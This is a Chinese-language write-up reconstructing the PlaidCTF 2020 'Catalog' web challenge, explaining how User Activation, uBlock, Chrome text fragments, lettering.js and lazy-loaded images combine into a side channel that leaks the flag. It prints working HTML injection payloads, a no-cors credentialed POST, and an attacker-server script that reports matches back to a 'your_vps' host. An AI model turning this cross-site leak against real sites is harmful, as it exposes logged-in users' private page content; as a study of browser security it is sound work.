本文是关于 Plaid CTF 2020 Catalog 题目的一些复盘与探究。

这道题是本次 PlaidCTF 全场唯一一道0解的题目,可以说是有一定的难度的,也比较有意思。这里非常感谢 @wupco @rebirthwyw @bks25wzsx(众所周知,@zsx 又名 @bks25wzsx)师傅们的指点,复盘的时候比较艰难,整个流程我会尽量用自己还算比较清晰的逻辑讲一下本道题,如果哪里有出错的还请师傅们多多包涵。

由于这个题是复盘题,所以做题思路可能会少一些,更多的是对于出题点以及exp一些分析什么的。

{% colorquote danger %}

5月6日更新:作者已经放出了他的 Write Up——PlaidCTF 2020: Catalog Writeup ,题目仓库—— catalog ,文中内容可能与作者 Write Up 有些许出入,请以作者的 Write Up 为准!本文暂未更新!

{% endcolorquote %}

Information

Here’s the site. The flag is on this page.

Browser: Chromium with uBlock Origin 1.26.0 installed and in its default configuration

Flag format: /^PCTF\{[A-Z0-9_]+\}$/

Hints:

  • To view your post, the admin will click on a link on the admin page.
  • You might want to read up on User Activation.
  • The intended solution does not require you to submit hundreds of captchas.

Hint: Admin Bot Timeout

The admin bot will always disconnect after about 30 seconds.

给没有看题的小伙伴简略地概括一下题目,题目是个黑盒,有登录注册、发表 issue 、提交 issue 给 admin 看,主要是这些功能,很明显题目需要我们进行 XSS

其中有几个细节漏洞:

  1. 登录失败的时候会直接无过滤地回显用户名,这里有一处 HTML 注入

  2. 在提交 issue 处,有一项需要提交 image URL 的地方也存在着 HTML 注入

  3. 题目设置还会利用 session 来存储一些 HTML 元素,例如我们在同一个 session 先登录,再用这个 session 发送一个登录失败的请求,刷新我们已登录的页面我们就可以看到:

CSP

Content-Security-Policy: default-src 'nonce-xhncdWd319Yj3acHJbKoEWmK8stBxy88'; img-src *; font-src 'self' fonts.gstatic.com; frame-src https://www.google.com/recaptcha/

题目给的 CSP 是这些,这些 CSP 限制了我们插入的代码执行,但是也很明显,这里并没有设置 base-uri ,所以我们可以试图利用 HTML 注入点,利用<base>来进行 XSS ,但是并不像 RCTF 2018 rblog 那道题,这道题的插入点在比较靠后的地方,没有办法控制之前引入文件的 url ,所以没有办法利用 base uri 的思路来进行 XSS

Exp

Catalog has two injections: the image tag on the issue page and the username when you fail to login. Use the image tag one with a meta redirect to get offsite. Hint 1 + inclusion of uBlock: admin clicks on a link which gives a user activation to the active frame, uBlock sends a postMessage to its extension iframe, which duplicates the user activation. Whenever a page loads, the frontend gets a postMessage from the uBlock frame, and thus duplicates the activation back again. Now make a no-cors POST to use the failed login injection, then send them to issue.php?id=3. So now we have arbitrary content with a user activation on the correct page, but still no code exec. (…the rest of the exploit to come in a moment…)

(…continuation of previous post…) Ok, but what can we do? A recent addition to Chromium was scroll-to-text-fragment, which lets you search the page for text (in entire words only) and scroll to it, though this consumes the user activation. If you could search for a letter at a time, then you could use your injection to add a bunch of whitespace and a lazy-loading image to detect the scroll.It turns out you can: the whole-word match counts tag boundaries as word boundaries, and the <em> tag gets split into a <span> for each individual letter on load! So you can do text searches of the form #:~:text=F-,{,-X for example to search for an X at the beginning of the flag. You can specify multiple text searches to do a binary search across the whole alphabet. Also include a meta refresh to send back offsite again after a short delay and you can leak ~5 characters per captcha. Repeat 5 or 6 times to get the whole flag.

这一段是赛后 @bluepichu 在 irc 上说的一段话,也算是对 catalog 这道题目的分析,也算是简短的 wp 。

同时,@lbherrera_ 在赛后发了一个推特公开了他一部分本题的 exp :

{% twitter https://twitter.com/lbherrera_/status/1251994130298875904 %}

Exp 地址在: https://gist.github.com/lbherrera/2057d53e7571cde12781758da108a76b

但是比较遗憾的是,该作者到目前为止还并未发布他自己的 write up ,如果大家能看懂这些,那么这个题后面的部分大家就可以直接跳过了,后文也就是基本按照这个大致的思路来分析这个题的。

User Activation

这部分由于自己的理解也不是特别深刻,所以只是比较粗浅的个人理解,如有错误,还请师傅直接指出。

本部分参考主要是两个文档:User Activation v2User Activation v2 (UAv2),如果师傅们对英文阅读理解比较好,更建议看原文

‘User Activation’ 这个词看起来比较的关键,出现在了作者的解释以及 hint 当中,但是为什么作者放 hint 要特意给 ‘User Activation’ 这个词而不是相对于更像通俗的 ‘User Interaction’ 呢?

随便搜一下我们可以知道 ‘User Activation’ 其实算是一个术语:

​ User activation is the mechanism to maintain active-user-interaction state that limits use of “abusable” APIs (e.g. opening popups or vibrating).

简而言之,User Activation(我们暂且称为“用户激活状态”),是为了保持用户主动进行交互的状态,限制了一些被恶意使用的 API ,比如弹窗或者震动。“激活 “状态通常意味着用户当前通过某种输入机制(打字、点击鼠标等)与页面进行交互,或者用户在页面加载后完成了某种交互。

浏览器通过用户激活这种状态来控制对被恶意使用的 API 访问,这种 API 最明显的例子就是通过window.open()打开弹出窗口。当出现一些流氓开发者开始恶意使用该 API 任意弹窗后,大多数浏览器加入了在用户未主动与页面交互时阻止弹窗的功能,从那时起,浏览器逐渐使许多其他 API 依赖于用户激活(更准确地说,使它们受用户激活控制),比如全屏、震动,自动播放媒体等, Chrome 中约有30种不同的 API 由用户激活控制。

uBlock

uBlock Origin (or uBlock₀) is not an ad blocker; it’s a general-purpose blocker. uBlock Origin blocks ads through its support of the Adblock Plus filter syntax. uBlock Origin extends the syntax and is designed to work with custom rules and filters. Furthermore, advanced mode allows uBlock Origin to work in default-deny mode, which mode will cause all 3rd-party network requests to be blocked by default, unless allowed by the user.

简单来说,uBlock 是一个通用的 blocker ,通过各种自定义规则来配合过滤页面元素,更多的可以到 uBlock 仓库查看。

个人也并没有非常理解作者在此处引入 uBlock 的点,以及配合 User Activation 的出题意图,虽然作者解释了他的出题意图

Hint 1 + inclusion of uBlock: admin clicks on a link which gives a user activation to the active frame, uBlock sends a postMessage to its extension iframe, which duplicates the user activation. Whenever a page loads, the frontend gets a postMessage from the uBlock frame, and thus duplicates the activation back again.

就在我写这段话的时候我幡然醒悟,这个 uBlock 的引入对传递 User Activation 极为重要,为什么这么说呢?因为它对于我们接下里要引入的一个概念有着十分重要的联系!所以这里暂且我们把 uBlock + User Activation 的概念以及利用放一放,我们接下来看看怎么获取 flag 。

How to get the FLAG

  1. 存在 CSP 限制
  2. Admin 会点击我们的 issue 链接
  3. Flag 在同域的另一个页面:http://catalog.pwni.ng/issue.php?id=3

我们可以由 1) 知道,一些利用 scirpt 的跳转就失效了,但是我们可以利用如下形式进行页面跳转:

<meta http-equiv="refresh" content="0;URL='http://url/'" />

我们可以利用的是两个 HTML 注入,而且 image url 处的注入还是存储型的。

假设如果允许我们执行 script 代码的话,我们可以利用两个 iframe ,一个 iframe 指向我们可以执行的 js 页面,另外一个 iframe 指向 flag 的页面,通过 js 来获取同域下的另一个 iframe 的内容,这也算是常用的 csrf 的一种操作,可以参考 Byte Bandits CTF 2020 - Notes App 的解法,这里就不再赘述了。

如果能插入 script 执行就好了,可惜插不得。

Text Fragments

反手看一手 Chrome 新特性,闷声发大财。

众所周知,CTF 出题人会有事没事去看看 php 源码 or chrome new features ,所以:New in Chrome 80

Of course, there’s plenty more!

  • You can now link directly to text fragments on a page, by using #:~:text=something. Chrome will scroll to and highlight the first instance of that text fragment. For example [https://en.wikipedia.org/wiki/Rickrolling#:~:text=New%20York](https://en.wikipedia.org/wiki/Rickrolling#:~:text=New York)

Scroll To Text Fragment: https://chromestatus.com/feature/4733392803332096

​ This feature allows a user or author to link to a specific portion of a page, using a text snippet provided in the URL. When the page is loaded, the browser highlights the text and scrolls it into view.

简单来说,Chrome 在今年2月份的更新推出了一个新特性,这个特性能让我们用形如#:~:text=something的样式来滑动到该页面something字符串的位置,并将其高亮,赋予了字符串类似一个 anchor 锚标签的作用。

具体的使用师傅们可以参考文档 Text Fragments ,这里我只择取我们需要的来说:

  • 匹配模式:

    #:~:text=[prefix-,]textStart[,textEnd][,-suffix]
              context  |-------match-----|  context
    
  • 前缀跟跟后缀只是为了限制上下文,真正匹配的还是中间的 textStart & textEnd

  • 需要完整匹配一个单词,无法匹配单词中的单个字母。

    Example 12

    “range” will match in “mountain range” but not in “color orange” nor “forest ranger”.

  • 单词需要在一个完整的块里面:

    Example 11

    :~:text=The quick,lazy dog
    

    will fail to match in

        <div>The<div> </div>quick brown fox</div>
        <div>jumped over the lazy dog</div>
    

    because the starting string “The quick” does not appear within a single, uninterrupted block. The instance of “The quick” in the document has a block element between “The” and “quick”.

    It does, however, match in this example:

        <div>The quick brown fox</div>
        <div>jumped over the lazy dog</div>
    

所以我们可以有个想法利用这个新特性去匹配到 flag ,但是一系列的问题来了:

  • 如果 flag 是 PCTF{TEST} ,我们用#:~:text=P-,C,T,-F是匹配不到的,因为它不能匹配到单词的单个字母
  • 即使我们能匹配到了,怎么样判断我们匹配到了呢?

Lettering

按照上述思路,我们貌似得找个办法拆分这个字符串,其实出题人已经很贴心地为我们做好了:

这是页面所引入的文件:

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js" nonce="Lb+i9i7nwe2rCiMsSCig2ovMYVix6gu0"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/lettering.js/0.7.0/jquery.lettering.min.js" nonce="Lb+i9i7nwe2rCiMsSCig2ovMYVix6gu0"></script>
<script src="https://www.google.com/recaptcha/api.js?render=6LcdheoUAAAAAOxUsM86wQa5c_wiDak2NnMIzO7Y" nonce="Lb+i9i7nwe2rCiMsSCig2ovMYVix6gu0"></script>
<script src="/js/main.js" nonce="Lb+i9i7nwe2rCiMsSCig2ovMYVix6gu0"></script>

其中引入了 jquery.lettering.min.js ,并且 main.js 有如下代码

$("em").lettering();

我们可以在 lettering.js 的文档中看到 Lettering.js wiki - Wrapping letters with lettering()

We’ll start with some really basic markup:

<h1 class="fancy_title">Some Title</h1>

After including jQuery, download and include the latest minified version of Lettering.js, then a script block with the magical .lettering() method:

<script src="path/to/jquery.min.js"></script>
<script src="path/to/jquery.lettering.min.js"></script>
<script>
$(document).ready(function() {
  $(".fancy_title").lettering();
});
</script>

The resulting code will churn your .fancy_title and output the following:

<h1 class="fancy_title">
  <span class="char1">S</span>
  <span class="char2">o</span>
  <span class="char3">m</span>
  <span class="char4">e</span>
  <span class="char5"></span>
  <span class="char6">T</span>
  <span class="char7">i</span>
  <span class="char8">t</span>
  <span class="char9">l</span>
  <span class="char10">e</span>
</h1>

所以我们只需要在页面加入一个<em>标签,即可把内容拆分为单个字母,效果如下:

所以这时候我们就可以利用#:~:text=P-,C,T,-F进行选中了。

Spark Thinking

那么如何判断我们是否选中了呢?

这里 Exp 作者很聪明地想到了一个办法:

  • 利用我们在 information 段提到的同一 session 会存储一定的 HTML 元素,所以即使登录状态下,我们也可以利用 fetch no-cors 来更新界面,利用登录失败在另一个同一 session 的界面得到无过滤的 HTML 注入
  • 利用这个登录失败的 HTML 注入创造判断条件:注入足够多的<br>标签,让 FLAG 位于用户视窗页面之外,并在<br>的最后加入一个图片,利用图片懒加载来确定 Text Fragments 是否匹配到了 FLAG
  • 一开始因为图片被放置到了用户视窗之外并且由于图片懒加载,图片并不会请求对应的资源,这时如果#:~:text=P-,C,T,-F匹配到了,因为我们注入的<br>标签的原因,页面会先进行滚动到 FLAG 的位置,这时候,图片才会加载对应的资源,所以我们就可以利用图片懒加载来确定匹配成功;如果匹配不成功的话,就不会请求对应的资源
  • 所以这时我们只需要利用自己的 vps 监听一个端口让懒加载的图片在触发请求时,请求我们的 vps 就可以判断是否匹配成功了

{% colorquote info %}

Note:

Support the ‘loading’ attribute, which can be used to defer the load of below-the-fold iframes and images on the page until the user scrolls near them. This is to reduce data usage, memory usage, and to speed up above-the-fold content. Web developers can opt-in to lazy load by specifying loading=lazy on <iframe> and <img> elements.

也就是说只有当用户窗口页面内关注到<img>标签时,该标签才能加载对应的资源。我们可以使用<img>原生属性loading=lazy来实现,Chrome 76以后的版本都已实现了该功能——Lazily load iframes and images via ‘loading’ attribute

{% endcolorquote %}

至此,基本上比较关键的地方我们都说完了,剩下的就是实现以及一些细节的地方了。

uBlock & User Activation & Text Fragments

这时我们再来回头看 uBlock & User Activation 在整个过程起到了什么作用呢?

因为 Chrome 80 引入了 Text Fragments 的机制,综上我们的分析利用可以产生一个新的攻击面,用这种“侧信道”的攻击方式我们可以窃取用户隐私,所以当然出于隐私考虑, Google 也引入了相对的限制机制:

The following subsections restrict the feature to mitigate the expected attack vectors. In summary, the text fragment directives are invoked only on full (non-same-page) navigations that are the result of a user activation. Additionally, navigations originating from a different origin than the destination will require the navigation to take place in a “noopener” context, such that the destination page is known to be sufficiently isolated.

我们可以注意到其中非常关键的一句话: **In summary, the text fragment directives are invoked only on full navigations that are the result of a user activation. **

也就是说 Text Fragments 功能仅在由于 User Activation 产生的完整导向上才能生效,没有 User Activation 是无法使用该功能的!在其他地方我们也可以看到 Google 对于 **User Activation ** 做了很多的强调:

The examples above illustrate that in specific circumstances, it may be possible for an attacker to extract 1 bit of information about content on the page. However, care must be taken so that such opportunities cannot be exploited to extract arbitrary content from the page by repeating the attack. For this reason, restrictions based on user activation and browsing context isolation are very important and must be implemented.

For this reason, restrictions based on user activation and browsing context isolation are very important and must be implemented.

因此,基于 User Activation 和浏览上下文隔离的限制非常重要,必须予以实施。

至于 Chrome 如何实现限制该功能的,具体可以参考文档 Restricting the Text Fragment ,这里就不详述了。

从以上来看,出题人的题图就很明显了:

Hint 1 + inclusion of uBlock: admin clicks on a link which gives a user activation to the active frame, uBlock sends a postMessage to its extension iframe, which duplicates the user activation.

并且根据 User Activation v2 in Chrome

Full-overlay request from subframes: To grant a subframe’s full-overlay request (sent through a postMessage), the main frame will check the subframe’s HasConsumableUserActivation bit and will consume it. If we expose the frame states through read-only Boolean properties of HTMLIFrameElement (or Document), the main frame can access the info through the postMessage’s event source parameter.

两者结合在一起可能就比较容易理解了,以下是个人根据文档理解,并没有参考研究具体代码实现,如果有师傅根据代码研究出结果与我的理解有什么出入,那一定是我错了

个人理解:管理员单击一个我们提交打的链接,将消耗一个用户激活打开链接,而 uBlock 将 postMessage 发送到其扩展 iframe ,从而复制用户激活。 每当页面加载时,前端都会从 uBlock 框架获取 postMessage ,从而再次将激活复制回去。

我们可以从 Verification 看到关于 uBlock 传递 User Activation 的验证。

Regex

因为 FLAG 正则为 /^PCTF\{[A-Z0-9_]+\}$/,我们每次用 Text Fragments 只能验证一个字符,例如我们可以构造如下 url ,一次可以匹配完全部的符合正则的字符,A-Z0-9_ 外加一个 } 为 FLAG 闭合的字符

http://catalog.pwni.ng/issue.php?id=3#:~:text=T-,F,{,-}%26text=T-,F,{,-0%26text=T-,F,{,-1%26text=T-,F,{,-2%26text=T-,F,{,-3%26text=T-,F,{,-4%26text=T-,F,{,-5%26text=T-,F,{,-6%26text=T-,F,{,-7%26text=T-,F,{,-8%26text=T-,F,{,-9%26text=T-,F,{,-A%26text=T-,F,{,-B%26text=T-,F,{,-D%26text=T-,F,{,-E%26text=T-,F,{,-F%26text=T-,F,{,-G%26text=T-,F,{,-H%26text=T-,F,{,-I%26text=T-,F,{,-J%26text=T-,F,{,-K%26text=T-,F,{,-L%26text=T-,F,{,-M%26text=T-,F,{,-N%26text=T-,F,{,-O%26text=T-,F,{,-P%26text=T-,F,{,-Q%26text=T-,F,{,-R%26text=T-,F,{,-S%26text=T-,F,{,-T%26text=T-,F,{,-U%26text=T-,F,{,-V%26text=T-,F,{,-W%26text=T-,F,{,-X%26text=T-,F,{,-Y%26text=T-,F,{,-Z%26text=T-,F,{,-_

如果匹配了,则去掉一半的字符,采用二分的形式缩小我们的匹配范围,所以下一次我们可以发送的是

http://catalog.pwni.ng/issue.php?id=3#:~:text=T-,F,{,-}%26text=T-,F,{,-0%26text=T-,F,{,-1%26text=T-,F,{,-2%26text=T-,F,{,-3%26text=T-,F,{,-4%26text=T-,F,{,-5%26text=T-,F,{,-6%26text=T-,F,{,-7%26text=T-,F,{,-8%26text=T-,F,{,-9%26text=T-,F,{,-A%26text=T-,F,{,-B%26text=T-,F,{,-D%26text=T-,F,{,-E%26text=T-,F,{,-F%26text=T-,F,{,-G%26text=T-,F,{,-H%26text=T-,F,{,-I

如果匹配了,就继续在这个范围二分,不匹配就用另一个范围

Reproduce

这个部分就只是提供复现的步骤,下个部分提供详细的攻击链解释:

  1. 注册一个账号,创建一个 issue ,并记录该 issue 的数字 id,为了方便辨识,该数字 id 我们称为 issue_id_1 ,post http 包的 body 内容为:

    id=issue_id_1&title=3&content=1&image=z"/><img src="http://your_vps/fragment"><meta http-equiv="refresh"+content="0;URL='http://catalog.pwni.ng/issue.php?id=3#:~:text=T-,F,{,-}%26text=T-,F,{,-0%26text=T-,F,{,-1%26text=T-,F,{,-2%26text=T-,F,{,-3%26text=T-,F,{,-4%26text=T-,F,{,-5%26text=T-,F,{,-6%26text=T-,F,{,-7%26text=T-,F,{,-8%26text=T-,F,{,-9%26text=T-,F,{,-A%26text=T-,F,{,-B%26text=T-,F,{,-D%26text=T-,F,{,-E%26text=T-,F,{,-F%26text=T-,F,{,-G%26text=T-,F,{,-H%26text=T-,F,{,-I%26text=T-,F,{,-J%26text=T-,F,{,-K%26text=T-,F,{,-L%26text=T-,F,{,-M%26text=T-,F,{,-N%26text=T-,F,{,-O%26text=T-,F,{,-P%26text=T-,F,{,-Q%26text=T-,F,{,-R%26text=T-,F,{,-S%26text=T-,F,{,-T%26text=T-,F,{,-U%26text=T-,F,{,-V%26text=T-,F,{,-W%26text=T-,F,{,-X%26text=T-,F,{,-Y%26text=T-,F,{,-Z%26text=T-,F,{,-_'">
    
  2. 再创建一个 issue , 并记录该 issue 的数字 id,为了方便辨识,该数字 id 我们称为 issue_id_2,post http 包的 body 内容为:

    id=issue_id_2&title=3&content=1&image="><meta http-equiv="refresh" content="0;URL='http://your_vps/'">"
    
  3. 自己的 vps 上用 node 运行如下 exp.js

    const express = require("express");
    const app = express();
    
    let status = false;
    let unlock = false;
    let match = false;
    
    app.get("/status", (req, res) => {
        res.send(`${status}`);
    });
    
    app.get("/unlock", (req, res) => {
        unlock = true;
        res.send("unlock");
    });
    
    app.get("/firstload", (req, res) => {
        console.log("==> Admin opened challenge's page");
        res.send("firstload");
    });
    
    app.get("/", (req, res) => {
        console.log("==> Admin was redirected to attacker's page");
        res.sendFile("index.html", {
            root: __dirname
        });
    });
    
    app.get("/injection", (req, res) => {
        console.log("==> HTML injection was inserted into id=3 catalog");
        setTimeout(() => {
            if (match) console.log("==> There was a match");
            else console.log("==> There wasn't a match");
            match = false;
            unlock = false;
            status = false;
        }, 1000);
        res.send("injection");
    });
    
    app.get("/exfiltrated", (req, res) => {
        match = true;
        res.send("exfiltrated");
    });
    
    app.get("/fragment", (req, res) => {
        status = true;
        console.log("==> Admin was fragmented");
        let timer = setInterval(async () => {
            if (unlock) {
                res.send("fragment");
                clearInterval(timer);
            }
        }, 1);
    });
    
    app.listen(port);
    console.log("Server running on port: " + port);
    

    index.html:

    <html>
        <head>
            <title>Psst! Get out of here...</title>
            <script>
                const next = async () => {
                    let res  = await fetch("/status");
                    let status = await res.text();
                    if (status === "true") {
                        await fetch("http://catalog.pwni.ng/user.php", {
                            "headers": {
                                "content-type": "application/x-www-form-urlencoded",
                            },
                            "body": `username="/><img src="http://your_vps/injection"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><div align="left"><img src="http://your_vps/exfiltrated" loading="lazy"></div><em>&password=1&action=login`,
                            "method": "POST",
                            "mode": "no-cors",
                            "credentials": "include"
                        });
                        await fetch("/unlock");
                    } else {
                        next();
                    }
                }
                next();
            </script>
        </head>
        <body>
            <iframe src="http://catalog.pwni.ng/issue.php?id=issue_id_1" style="position: absolute; width: 400%; height: 500px; border: 0"></iframe>
        </body>
    </html>
    

    其中your_vps处替换为你的 vps 地址,issue_id_1 替换为之前的数字 id

  4. 随便 report 一个 issue 给 admin 并抓包修改内容,把 id 字段改成 issue_id_2 即可。

    id=19902&token=03AGdBq26Abe5GL1dxt9c1N1n03hjoiUv1KCzn6o6VII3LGYY2JBKZLrVU5I7KxViJW8X87Nt_PJOFxyHpIFq_wq0Xph-SyP5dQTvu-s5k3AePCPKo8lMurhTM1V1Af_RdPImnBoGZb6Nm6YcilLNLeHLbGbDj7XPFCHqjdSq1zyJA7Luam8SlPzgPJOOPJYz65fXRPtn0GVunipJNjiXbXtvPKTJjPVat784uRrCQ47aHuWXnxyipstDGkZj0-iujm9k-L51EUDv9FbW4kEULU0_nDwVgtIc5ZniVcIVgupcpfGAagCLMyKGfDsFho9U4BHsdqsc7918PNyeSrcbPN7gmq_aLJRTGx6bICHnzHzaKNB5yakec0YsC1CQzLhtqqZhTQvEJNREkXvBHZ7PlYXdypNCNSCwI_g
    

    token 是 Google 验证码用于验证的 token ,这个 token 你可以另开一个题目地址,并打开控制台输入以下代码(这段代码可以在题目 main.js 拿到)即可:

    grecaptcha.ready(async () => {
        let token = await grecaptcha.execute("6LcdheoUAAAAAOxUsM86wQa5c_wiDak2NnMIzO7Y", {
            action: "report"
        });
        console.log(token);
    });
    
  5. 如果 vps 收到了 match ,就在该范围继续二分,不然就在另一个范围继续二分,重复1-4步骤即可

Detailed Attack Chain

好了,现在我们就来整理一下全部信息,以及说一下详细的攻击流程:

  1. 首先 admin 会点击我们提交的第二个 issue ,然后因为第二个 issue_2 内容存在

    <meta http-equiv="refresh" content="0;URL='http://your_vps/'">"
    

    会跳转到我们 vps 主页面

  2. 这时 admin 会加载 index.html ,此时 iframe 会请求第一个 issue_1 页面,并且发送请求 http://your_vps/status ,最初始化的时候因为let status = false;,而 js 还有一个 status 的判断

    let status = await res.text();
    if (status === "true") {
      //...
    }
    

    所以 script 里面的流程会一直等待status的变化,实现了一个类似于锁一样的功能,我们这里就称为 status 锁,而解锁这个锁的条件就是当 iframe 里面的 issue_1 完全加载完毕。

    当 iframe 中的 issue_1 完全加载完毕,此时 issue_1 界面里面还有一个 img 标签用于解锁 status 锁

    <img src="http://your_vps/fragment"><meta http-equiv="refresh"+content="0;URL='http://catalog.pwni.ng/issue.php?id=3#...">
    

    此时会请求我们 http://your_vps/fragment

    app.get("/fragment", (req, res) => {
        status = true;
        console.log("==> Admin was fragmented");
        let timer = setInterval(async () => {
            if (unlock) {
                res.send("fragment");
                clearInterval(timer);
            }
        }, 1);
    });
    

    该路由解锁了 status 锁,并创建了一个计时器等待 unlock 来解除,我们称为 fragment 锁,表示 admin 已经加载了 iframe 。

  3. 这是因为 fragment 锁的原因,iframe 当中的页面等待在 issue_1 界面等待 fragment 锁的解锁,而当 status 锁解锁,会立马触发 index.html 当中的 fetch 请求

    await fetch("http://catalog.pwni.ng/user.php", {
      "headers": {
      	"content-type": "application/x-www-form-urlencoded",
      },
      "body": `username="/><img src="http://your_vps/injection"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><div align="left"><img src="http://your_vps/exfiltrated" loading="lazy"></div><em>&password=1&action=login`,
      "method": "POST",
      "mode": "no-cors",
      "credentials": "include"
    });
    

    这时因为还是 admin 的 session ,所以 admin session 存储的 HTML 元素会变成我们登录失败的 HTML 元素

  4. 接着 index.html 执行await fetch("/unlock");

    app.get("/unlock", (req, res) => {
        unlock = true;
        res.send("unlock");
    });
    

    unlock 路由将 unlock 置为 true,清除了 fragment 路由当中的计时器,解锁 fragment 锁,此时 iframe 当中的 issue_1 界面可以完成全部加载,并因为<meta>标签的作用跳转到了包含有 FLAG 并且有 Text Fragemnt 功能的页面

  5. 此时 FLAG 页面还是 admin session 的关系,会读取上一轮我们登录失败的 HTML 元素也就是注入了很多<br>标签的元素,这样就完成了将 FLAG 挤出用户视窗界面的操作,并由于 uBlock 传递了 User Activation 激活了 Text Fragment 功能,将会在页面进行匹配 FLAG 字符

  6. 一加载完界面首先会因为<img src="http://your_vps/injection">,请求到 injection 路由

    app.get("/injection", (req, res) => {
        console.log("==> HTML injection was inserted into id=3 catalog");
        setTimeout(() => {
            if (match) console.log("==> There was a match");
            else console.log("==> There wasn't a match");
            match = false;
            unlock = false;
            status = false;
        }, 1000);
        res.send("injection");
    });
    

    此时会有一个 1s 延时等待,这个等待就是为了等待 Text Fragments 是否匹配到 FLAG的判断

  7. 如果 Text Fragments 匹配到了,就会触发滚动,用户视窗滚动到 FLAG 处,触发请求懒加载的图片<img src="http://your_vps/exfiltrated" loading="lazy">,请求到 exfiltrated 路由

    app.get("/exfiltrated", (req, res) => {
        match = true;
        res.send("exfiltrated");
    });
    

    此时将 match 设置为 true ,让 injection 完成我们的判断回显。

整个攻击流程大致就这样,图就懒得画了,因为整个题目以及 wrtieup 耗费了我不少的时间,涉及到的技术都分析完了,剩下就是重复 leak FLAG 了。(问了作者,FLAG 一共 38 位…

Other

这里写一点题外话

postMessage

关于 uBlock 使用 postMessage 复制 User Activation 的方法我仍然表示存疑,因为自己根据阅读的文档,postMessage传递 User Activation 需要有对应的配置,例如:

window.parent.postMessage('resize', {includeUserActivation: true});

但是我并没有在 uBlock 看到相关的配置,postMessage都是使用的默认配置,然后关于默认配置我也查看了部分 Chromium 的源码,对于 UserActivation 默认配置是 false 的

但是我们通过 Verification 环节测试得到的结果确实需要 uBlock 来进行,由于自己时间并不是特别多,最近花太多时间在这题的复盘上,所以最近不打算再深究这部分的内容了,这部分的内容不仅涉及到 User Activation ,还涉及到一些关于 User Activation 抽象模型的代码实现,如果要深究的话就需要花比较多的时间了。

Verification

至于验证为什么一定需要 uBlock 来参与,这部分验证也比较简单,就是自己创建一个 issue ,内容设置为一个用于测试的 FLAG,比如 PCTF{TEST} ,其他的跟 EXP 过程差不多,只需要把 FLAG 的地址换为自己测试 FLAG 的地址即可,然后可以通过关闭 Chrome 拓展 uBlock 来测一遍(最好是从 Chrome 拓展关闭,使用拓展本身的关闭并不是全站关闭),多测试几次就会发现确实需要引入 uBlock 来实现 Leak Data 。

Text Fragment

这里其实比较可惜的是 @wupco 师傅,他之前关注到了这个 chrome Text Fragment 的功能,并且也引起了他的注意是否可以利用#:~:text=flag{this_is_a_flag}的形式 leak data ,可惜他表示比赛的时候没有想起来。(不愧是老 CTFer ,一开口就知道是老 CTFer 了

​ How about using #:~:text=flag{this_is_a_flag} and onscroll to leak data?

{% twitter https://twitter.com/wupco1996/status/1226938811147522060 %}

Other Web Challanges

这次比赛的 Web 都比较有意思,Contrived Web Problem 是一道 FTP 到 SSRF 的利用链,wp 可以看我的博客,但是只有英文部分,并且没有完整的 payload ,只聊了聊大致的思路,而且英文水平可能比较拙,不知道以后自己有没有空写中文的,自己也不太确定。 Mooz Chat 听 @wupco 师傅说是一个中间人劫持的 web 题,(太强大了,需要逆向,表示单凭自己弄不了),但是中间人劫持的题目确实令人耳目一新!如果师傅们有相关的思路或者 wp 欢迎一起交流!

Conclusion

这次比赛的题个人觉得还是比较偏“侧信道”的,这类的题目我都觉得非常好玩,因为不同于传统的 Web 攻击,还通常引入了很多比较新的理念与攻击链,虽然 User Activation 相关的部分还没有完全弄明白,而且这个题作者还是故意引入的 uBlock 来协助我们做题,也算是比较的友好了,只不过可能我们没有完全 Get 到出题人的点。所以这次比赛对我而言更让人觉得耳目一新的是 Chrome 新特性 Text Fragemnts ,让人研究的更多的是 User Activation 。

虽然这种题目对于实战可能显得鸡肋,甚至“毫无作用”,但是这类题目我觉得打开了自己的视野,让我关注到了更多新东西,更何况这类的题目在国内还是很少见到的,毕竟弄这类题目,从主要攻击链构造到细节设置都需要精心的揣摩与推敲,更何况是“侧信道”的题目,没有深厚的技术积淀出不来这类让全球大部分 CTFer 爆零的高难度的题目,也希望国内以后能出现一些这类高质量的题目吧。

References

User Activation v2

User Activation v2 (UAv2)

Making user activation consistent across APIs

Existing Chrome APIs using user gestures

JS API for querying User Activation

Activation Transfer through postMessages